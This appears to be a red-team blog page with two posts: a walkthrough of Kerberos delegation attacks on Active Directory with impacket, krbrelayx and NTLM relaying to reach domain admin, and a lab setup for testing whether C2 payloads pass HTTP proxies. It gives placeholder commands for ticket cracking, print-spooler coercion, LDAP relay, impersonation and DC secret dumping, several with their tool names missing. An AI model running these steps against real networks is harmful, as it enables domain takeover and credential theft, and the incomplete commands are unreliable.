Friday, December 20, 2019

No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

There are a ton of great resources that have been released in the past few years on a multitude of Kerberos delegation abuse avenues.  However, most of the guidance out there is pretty in-depth and/or focuses on the usage of @Harmj0y’s Rubeus.  While Rubeus is a super well-written tool that can do quite a few things extremely well, in engagements where I’m already running off of a primarily Linux environment, having tools that function on that platform can be beneficial.  To that end, all the functionality we need to perform unconstrained, constrained, and resource-based constrained delegation attacks is already available to us in the impacket suite of tools.

This post will cover how to identify potential delegation attack paths, when you would want to use them, and give detailed walkthroughs of how to perform them on a Linux platform.  What we won’t be covering in this guide is a detailed background of Kerberos authentication, or how various types of delegation work in-depth, as there are some really great articles already out that go into a ton of detail on the inner-workings of the protocol.  If you are interested in a deeper dive, the most comprehensive & enlightening post I’ve read is @Elad_Shamir’s write-up:   

Unconstrained Delegation

What Is It?

Back in the early days of Windows Active Directory (pre-Server 2003) this was really the only way to delegate access, which at a high level effectively means configuring a service with privileges to impersonate users elsewhere on the network.  Unconstrained Delegation would be used for something like a front-end web server that needed to take in requests from users, and then impersonate those users to access their data on a second database server.  

Unfortunately, as the name implies, these impersonation rights were not limited to a single system or service, but rather allowed a configured account to impersonate anyone that authenticated against it anywhere on the network.  This is due to the fact that when an object authenticates to a service tied to an account configured with unconstrained delegation, they send the remote service a copy of their TGT (Ticket Granting Ticket), which allows the remote system to generate new TGS (Ticket Granting Service / service ticket) requests at-will.  These TGS’ are used for authenticating to Kerberos-enabled services across the network, meaning that if you possess an object’s TGT you can impersonate them anywhere on the network where you can authenticate with Kerberos.

When To Use:

If you can gain access to an account (user or computer) that is configured with unconstrained delegation.  To identify users & computers configured with unconstrained delegation I use pywerview, a python port of a good chunk of powerview’s functionality ( but feel free to use whatever tools works best for you. This tool has handy flags to pull both accounts configured with both constrained + unconstrained delegation.  In this case what we’re really looking for is any user or computer with a UserAccountControl attribute that includes ‘TRUSTED_FOR_DELEGATION’.  All we’ll need at this point is a set of creds for AD to allow us to do the enumeration.  Taking a look at the output of the check we ran below, we can see that the user ‘unconstrained’ is configured with unconstrained delegation:

If you have find you have access to a computer object that is configured with unconstrained delegation, it may be easier simply to perform the print spooler attack and extract the ticket from memory using Rubeus, as detailed here:  However, if you have access to a user account configured with delegation or would prefer to avoid running code on remote systems as much as possible, the following should be helpful.

Process Walkthrough:

Note: This section is pretty much a direct walkthrough of the awesome work @_dirkjan wrote up in his blog here: If you’re familiar with this style of attack it’s nothing new, just a (hopefully) fairly straightforward walkthrough of the path that I’ve had the most success with on engagements after identifying unconstrained delegation.

If we do end up identifying any user accounts configured with unconstrained delegation, we’ll want to obtain Kerberos tickets we can attempt to crack.  For an account to be configured with delegation, they also need to be configured with an SPN (Service Principal Name).  This means that we should be able to retrieve a crackable Kerberos ticket for the account using DOMAIN/USER:PASSWORD -request-user UNCONSTRAINED_USER

Assuming we’re able to recover the password for an account / used another method to get admin access on a computer configured with unconstrained delegation, we can now move on to attempting to leverage this access to get DA on the network.  We’ll start by attempting to add an SPN to the account we have access to. This is the only part of the attack that will require non-default settings to be configured (for a user account), but per all the sql devs on stack exchange asking how to enable it, it seems to be something that should be commonly turned on already.  If we have access to a computer account configured with unconstrained delegation, we can use the ‘Validated write to DNS host name’ security attribute (configured by default) to add an additional hostname to the object, which will automatically configure new SPN’s that will also be configured with unconstrained delegation. We then just have to create a new DNS record to point that new hostname to us.

We’ll be using dirk-jan’s krbrelayX toolkit for the rest of this process (, first using to attempt to add a ‘host’ spn for a nonexistent system on the network.  Note – it is important to ensure when you’re adding an SPN you use the fqdn of the network, not just the hostname.  You’ll see one of two messages, based on if your account has privileges to modify its own SPN’s (above = an account with appropriate attributes set, below = attribute not set). -u DOMAIN\\USER -p PASSWORD -s host/FAKESYSTEM.FQDN ldap://DC.FQDN

If you don’t have privileges, this is pretty much the end of this potential vector, although I would still recommend targeting the systems(s) on which the account has SPN’s configured for, as they likely have TGT’s in-memory.

However, if we are able to successfully add an SPN for a non-existent system we can keep going.  Next, we’ll want to add a DNS record for this same non-existent system that links back to our system’s IP, effectively turning our system into this non-existent system.  Due to the actions we took in the last step (creating an SPN for the ‘host’ service with our user configured with unconstrained delegation on this non-existent hostname that now points to our system), we are basically creating a new ‘computer’ on the network that has unconstrained delegation configured on the ‘host’ service on it. 

We’ll be using another part of the krbrelayx toolkit,, to complete this step to create a new DNS record and then point it at the IP of our attack box (Note: dns records take ~3 minutes to update, so don’t worry if you complete this step and cant immediately ping / nslookup your new host): -u DOMAIN\\USERNAME -p PASSWORD -r FAKESYSTEM.FQDN -a add -d YOUR_IP DC_HOSTNAME

Everything should be ready to go now, we’ll execute the print spooler bug to force the DC$ account to attempt to authenticate to the host service of our new ‘computer’ that is configured with unconstrained delegation.  This will in turn cause the DC to provide a copy of its TGT when authenticating, which we can then use to impersonate it on any other Kerberos-enabled service.  In one window we’ll set up as follows: **This is very important**  the krbsalt is the FQDN of the domain in ALL CAPS, followed immediately by the username (case-sensitive).  The Krbpass is the user’s password, nothing crazy there. --krbsalt DOMAIN.FQDNUsernameCaseSensitive --krbpass PASSWORD

Once you have that running in one window, we’ll use the final tool within the krbrelayx toolkit to kick off the attack (Note: The user used to kick off the attack doesn’t matter, it can be any domain user).  The below shows what the successful attack looks like: DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME FAKE_SYSTEM.FQDN

On our krbrelayx window, we should see that we have gotten an inbound connection, and have obtained a tgt (formatted as .ccache) file for the DC$ account:

At this point, we just need to export the ticket we received into memory, after which we should be able to run secretsdump against the DC:

export KRB5CCNAME=CCACHE_FILE.CCACHE -k DC_Hostname -just-dc

Constrained Delegation

What Is It?

Microsoft’s next iteration of delegation included the ability to limit where objects had delegation (impersonation) rights to.  Now a front-end web server that needed to impersonate users to access their data on a database could be restricted; allowing it to only impersonate users on a specific service & system.  However, as we will find out, the portion of the ticket that limits access to a certain service is not encrypted.  This gives us some room to gain additional access to systems if we gain access to an object configured with these rights.

When To Use:

If you can gain access to an account (user or computer) that is configured with constrained delegation.  You can find this by searching for the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ value in the UserAccountControl attribute of AD objects.  This can be also be found through the use of Pywerview, as outlined in the above section.

Process Walkthrough:

This time, we’ll start by targeting another account, httpDelegUser.  As we can see from our initial enumeration with Pywerview, this account has the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ flag set.  We can also check the contents of the account’s msDS-AllowedToDelegateTo attribute to determine that it has delegation privileges to the www service on Server02.  Not the worst thing in the world, but probably not going to get us a remote shell.

Also a quick recap of the account’s group memberships:

To start this attack, we’ll use another impacket tool – – to retrieve a ticket for an impersonated user to the service we have delegation rights to (the www service on server02 in this case).  In this example we’ll impersonate ‘bob’, a domain admin in this environment.  Note: If a user is marked as ‘Account is sensitive and cannot be delegated’ in AD, you will not be able to impersonate them. -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

From here, the initial assumption would be that we could only authenticate against the www service on server02 with this ticket.  However, Alberto Solino discovered that the service name portion of the ticket (sname) is not actually a protected part of the ticket.  This allows us to change the sname to any value we want, as long as its another service running under the same account as the original one we have delegation rights to.  For example, if our account (httpDelegUser) has delegation rights to a service that the server02 computer object is running (example SPN: www/server02), we can change our sname to any other SPN associated with server02 (ex. cifs/server02).  His blog on the mechanism by which this occurs is super insightful, and worth a read:

Even better for us, as Alberto Solino is one of the primary writers of impacket, he built this logic in so that these sname conversions happen automatically for us on the back-end:

From an operational standpoint, what this means is that the ticket for the www service we obtained in the step above can be loaded into memory and used to run just about any of the impacket suite of tools to run commands, dump SAM, etc.

Resource-Based Constrained Delegation

What Is It?

Note: Microsoft is releasing an update in March 2020 that will enable LDAP channel binding & LDAP signing by default on Windows systems, remediating this potential attack vector on fully patched systems. 

Starting with Windows Server 2012, objects in AD could set their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, effectively allowing objects to set what remote objects had rights to delegate to them.  This allows those remote objects with delegation rights to impersonate any account in AD to any service on the local system.  Therefore, if we can convince a remote system to add an object that we control to their msDS-AllowedToActOnBehalfOfOtherIdentity attribute, we can use it to impersonate any other user not marked as ‘Account is sensitive and cannot be delegated' on it.

When To Use:

Basically, when you’re on a network and want to get a shell on a different system on that same network segment.  This attack can be ran without needing any prior credentials, as described by @_dirkjan in his blog here: .  However, the method described does require that a domain controller in the environment is configured with LDAPS, which seems to be somewhat uncommon based on the environments I’ve tested against over the past 6 months.           

I’ll focus on a secondary scenario for this attack – one where you have compromised a standard low-privilege user account (no admin rights) or a computer account, and are on a network segment with other systems you want to compromise.

Process Walkthrough:

To begin with, what this attack really needs is *some* sort of account that is configured with an SPN.  This can be a computer account, a user account that is already configured with an SPN, or can be a computer account we create using a non-privileged user account by taking advantage of a default MachineAccountQuota configuration (  We need an account that is configured with an SPN as this is a requirement if we want the TGS produced by S4U2Self to be forward-able (Read more why this is necessary here:  Computer accounts work as by default they are configured with a variety of SPN’s for all their various Kerberos-enabled services.

So, in our example let’s say we only have a low privilege account (we’ll use the ‘tim’ account). 


The first step in the process would be to try and create a computer account, so that we could gain control of an account configured with SPN’s.  To do this, we’ll use a relatively new impacket example script –  This script has a SAMR option to add a new computer, which functions over SMB and uses the same mechanism as when a new computer is added to a domain using the Windows GUI. -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

After running this command, your new computer object will be added to AD (Note: this example script was not fully working for me in python2.7 – the computer object was added but its password was not being appropriately set.  It does work using Python3.6 though.)

This script was released fairly recently, prior to it I used PowerMad.ps1 from a Windows VM to perform the same actions.  This tool uses a standard LDAP connection vs. SAMR, but the end result is the same.  For further info on PowerMad I recommend the following:

If this part of the attack didn’t work, the default MachineAccountQuota has likely been changed for users in the environment.  In that case you’ll need to use alternative methods to obtain a computer account / user account configured with an SPN.  However, once you have that, you can continue to proceed as described below.

For the next part of the attack we’ll be using mitm6 + ntlmrelayx.  Unlike a traditional NTLM relay attack, really what we’re interested in is intercepting machine account hashes, as we can forward them to LDAP on a domain controller.  This allows us to impersonate the relayed computer account and set its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to include the computer object that we control.  Note: We unfortunately can’t relay SMB to LDAP due to the NTLMSSP_NEGOTIATE_SIGN flag set on SMB traffic, so will be focusing on intercepting HTTP traffic, such as windows update requests. 

We’ll first set up ntlmrelayx to delegate access to the computer account we just made & have control of (rbcdTest): -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DOMAIN_CONTROLLER

We next start a relay attack using or other relay tool, and wait for requests to start coming in.  Eventually you should see something that looks like the following:

In the above screenshot we can see that we successfully relayed the incoming auth request made by the server02$ account to LDAP on the domain controller and modified the object’s privileges to give rbcdTest$ impersonation rights on the system.

Once we have delegation rights, the rest of the attack is fairly straightforward.  We’ll use another impacket tool – – to create the TGS necessary to connect to Server02 using an impersonated identity.

This tool will get us a Kerberos service ticket (TGS) that is valid for a selected service on the remote system we relayed to LDAP (Server02).  As the rbcdTest$ account has delegation rights on this system, we are able to impersonate any user that we want, in this case choosing to impersonate ‘administrator’, a domain admin on the testlab.local network. -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

With the valid ticket saved to disk, all we need to do is export it to memory, which will then allow us to remotely connect to the remote system with administrative privileges:

Saturday, September 21, 2019

Proxy-Aware Payload Testing


I get told that I am too wordy, so if you want the summary, here are some steps to setup a virtual testing environment to test payloads to see if they can handle HTTP(S) proxies and if so, can they authenticate properly through them as well. This post will cover the proxy setup without authentication since that is the easier part, and I will do a second post shortly to hack together the authentication portion of it.

Skip down to the actual setup here if you wanted to skip the fluff.


There have been times in my red teaming and pentesting experience that I have run into networks where direct outbound traffic to the internet (or in some cases out of the subnet) is completely restricted. When I say direct, I mean that all DNS traffic first goes to an internal DNS server, all web traffic goes through an internal proxy, email to an internal SMTP/IMAP server, etc. From the client workstation to any internet IP address is dropped for TCP, UDP, and ICMP. For the blue teamers reading this post, this is something I highly recommend pushing for in your environment if it is not already the case. This not only allows for better monitoring but also breaks a large amount of commodity malware (and some red team tools) from working. It is one of my favorite incidental preventative controls.

In these cases, we need tools that can communicate out in an indirect manner. The choice of a TCP reverse shell or meterpreter payload are gone. Even default settings for meterpreter HTTP(S) payloads will be blocked since they don’t try to use a proxy by default.

There are times where I might consider C2 over DNS or SMTP, but these can be loud or somewhat complicated respectively. For this purpose, I often look to C2 tools that can use HTTP to communicate and either handle proxies by default or provide configuration options to allow you to set proxy settings for the payload.

I don’t plan to go through all of the C2 tools out there and talk about how they handle or can be made to handle HTTP proxies, but I will quickly highlight some of the different scenarios to show why having an environment test all parts of a proxy connection may be useful to C2 developers and the users of those tools.


By default, payload/windows/meterpreter/reverse_http and similar payloads are not proxy aware. These payloads will attempt to go directly to the IP address set for RHOST or resolve the hostname for RHOST then try to go directly to that IP address. Once a connection is established (SYN/ACK), then the traffic sent over that connection will be HTTP.

If traffic for direct outbound connections for your target is blocked, the initial TCP connection will fail and you will not get your shell. Sad day…

All is not lost though if you really want to use meterpreter over HTTP in this environment and you already have gained access to some information. The payload/windows/meterpreter/reverse_http and similar Windows payloads have the following advanced options available:
-       HttpProxyHost
-       HttpProxyPass
-       HttpProxyPort
-       HttpProxyUser

By setting these options, we can get meterpreter to connect out through an internal web proxy. But how do we get this information? We would have to have already compromised a system, phished a user, exposed in code or config files on public sources, or through some other information disclosure. Times where I have used this is for simulating a knowledgeable insider. Metasploit is one of the most popular public “hacking” tools, so to simulate someone who wants to “hack” their own company, I have assumed insider knowledge of their own credentials and the proxy configuration and set those in the payload then used meterpreter to get an external shell. Another situation that I have used has been finding proxy settings in code posted to public GitHub repositories. Developers love to create configuration files that set the proxy settings so that their applications can get out through the proxies like they can.

So, although meterpreter supports proxies and authentication, it does not handle those by default and requires some prior knowledge of the environment to use. I have seen similar results with many C2s that work on Mac OS or Linux such as EmPyre.

Some other tools or payloads currently do not support proxying HTTP payloads. One example would be the meterpreter payloads for Mac OS. The HttpProxy* options metioned for the Windows meterpreter payloads are not accepted by the Mac OS payloads.

PowerShell Empire and Cobalt Strike:

PowerShell Empire and Cobalt Strike work a little bit differently. They use libraries such as .NET’s System.Net.CredentialCache to ask the system to apply the processes current proxy settings and net credentials to the HTTP request. This allows the HTTP connection to be properly proxied the same way the current process would normally proxy web traffic. I continue to say process rather than user, because that can be a pretty important distinction in certain situations. If your process is running as SYSTEM (and you haven’t impersonated a user), then your net credentials will be the credentials of the host computer and not an AD user. Unless the computer accounts are allowed to authenticate through the proxy, this traffic will be denied, and your payload won’t get out. There have been many times where I have used privilege escalations or PSExec to spawn new beacons or agents and struggled to figure out why I wasn’t getting the callbacks. Most of the time, this has been due to being denied at the proxy.

In these situations, there are a few options. Assuming we have already compromised the host, we can do what we did with meterpreter and just hard-code these settings and override the defaults. This way, we have a SYSTEM level shell, but are using a user’s credentials and proxy settings to send traffic out. The other option is to use something like Cobalt Strike’s SMB beacon to create an internal C2 channel and link to those beacons from your HTTP beacon.

How Do We Test This:

How would we test this? Do we need to build a full domain-configured network? Do we need a complex proxy setup? I thought so at first and heavily put this project off but eventually dove in and tried it. What I learned was that just setting up a network with a proxy that didn’t check authentication was extremely easy and served as a good test environment for most of the situations I came across. When I decided that I needed to test authentication as well, things became a bit trickier. I will write a second post on that soon to cover the configuration for that part.

Building the Network:

Note: I was using VMware Fusion for my setup, but the steps should be very similar for something else such as VirtualBox.

For this setup to work, we need to ensure that our test host cannot call directly out to the internet. This could be done with host-based firewalls or IPTables but I decided that I didn’t want to make a bunch of configuration changes on each host that I wanted to test on. I wanted to build a network that I could attach a virtual machine to and it would just work (kind of… I’ll talk about the specifics in the authentication part of the proxy setup).

Here is a diagram of the network we are building:

To accomplish the port restrictions and web proxy, I built two virtual machines:
-       pfSense Firewall
o   Hardware
§  1 core
§  256 MB RAM
§  8 GB Disk (probably excessive)
§  2 network adapters
·      WAN – ‘Share with my Mac’
·      LAN – ‘SimpleProxyNet’ (see below)
o   Software
§  Nothing additional, no addons
-       Ubuntu Server
o   Hardware
§  2 cores
§  1 GB RAM
§  16 GB Disk (again, probably excessive)
§  1 network adapter – ‘SimpleProxyNet’ (see below)
o   Software
§  Added Squid Proxy software

For the networking setup, I created a network in VMware and unchecked the box that allows the network to connect to external networks. I wanted this network to be internal only. This will be the network that I attach my test VM and the proxy to.

Before starting either VM, I attached the network interfaces to the appropriate networks.

Setting Up pfSense:

I am not going to go into too many details on this one but rather include a screenshot of a couple of settings and a couple of tips that I learned along the way. There are many guides for setting up pfSense and I didn’t stray off the beaten path for this. For more info on getting started with pfSense, check out this link:

Some tips:
-       On the LAN interface, I did not set VMware to handle DHCP in anticipation of using pfSense for that purpose.
-       Keeping track of which interface is which can be a little tricky, but usually “Network Adapter” will be em0 or the WAN and “Network Adapter 2” will be em1 or the LAN.
-       Once you add a LAN interface, the management web portal will default to the internal network. I used my victim VM to browse to this management interface once I attached it to the network. You can also use your host OS if you have it also able to communicate on this network.
-       Since pfSense is handling DHCP, I tend to start this VM first and make sure it is fully booted before starting up the proxy or attaching any victim VMs.

Setting Up Squid Proxy:

Before adding any firewall rules, we want to setup our Squid proxy. We do this first because we want to create firewall rules that allow the proxy to call out to the internet, but we don’t want any other hosts on the SimpleProxyNet to be able to do so.

Setting up the Squid proxy without forcing user authentication was actually much easier than I expected, so I am not going to go into too many details on this setup either. I just setup a vanilla Ubuntu Server 18.04 and used apt to install Squid and set a static IP address on the OS (in my case I used I followed a guide all the way up to where they add authentication. A guide such as this could be useful:

Finally, I set up the ACLs to allow the SimpleProxyNet subnet to connect to the proxy and moved on to setting up the firewall rules on the pfSense.

Firewall Rules:

With the proxy and firewall built, we need to connect a system to this network and configure the firewall rules. I created a Windows VM that would serve as my victim and attached it to the SimpleProxyNet network.

To access the pfSense web UI, I used my victim Windows VM by attaching the network interface for my Windows VM to the SimpleProxyNet network and opening a web browser and going to http(s)[:]//[IP of pfSense]/ and logging in with the credentials that I set when first configuring the pfSense (default is admin:pfsense). Once logged in, I went to the firewall settings and configured the LAN settings to allow the IP address of the Squid proxy to communicate outbound on 53/DNS, 80/HTTP, and 443/HTTPS:

These settings prevent the victim VM from being able to connect directly out to the internet as only the Squid proxy traffic is allowed.

Note: The ports from the proxy have been limited to 80, 443, and 53. This is a common situation but not necessarily the way all proxies are setup. In this case, your C2 channels would be limited to calling back on one of these three ports. Some proxies at client environments are allowed out on any port to accommodate web services that run on other ports such as 8080. If you wanted to test in this fashion, you could alter your rules to allow for this and see how your tools work in this situation (proxying SSH can be a fun one if you can figure it out).

Once you have the firewall rules set, your proxy setup, and your victim VM connected, we just need to go to the victim VM and configure it to know about the proxy. Once this is one, we should have an unauthenticated proxied network setup and ready to start testing payloads.

Setting the Proxy Settings on the Victim VM:

For this section, I am only going to go into the setup for modern Windows hosts and not worry about *nix hosts. This is something that is quickly and easily searchable on the internet.

Open the Start Menu and find the Internet Options settings menu. Once opened, go to the Connections tab and click on the LAN settings button. Uncheck the Automatically detect settings checkbox (this is for WPAD, something beyond the scope of this post) and check the Use a proxy server for your LAN checkbox. Enter the IP address of your Squid proxy server (in my case and port (default for Squid is 3128).

Click the OK button on each menu to save the settings. Pop open a web browser and try to browse the internet to confirm that the proxy is working. You should be all setup and ready to test your payloads for proxy-awareness.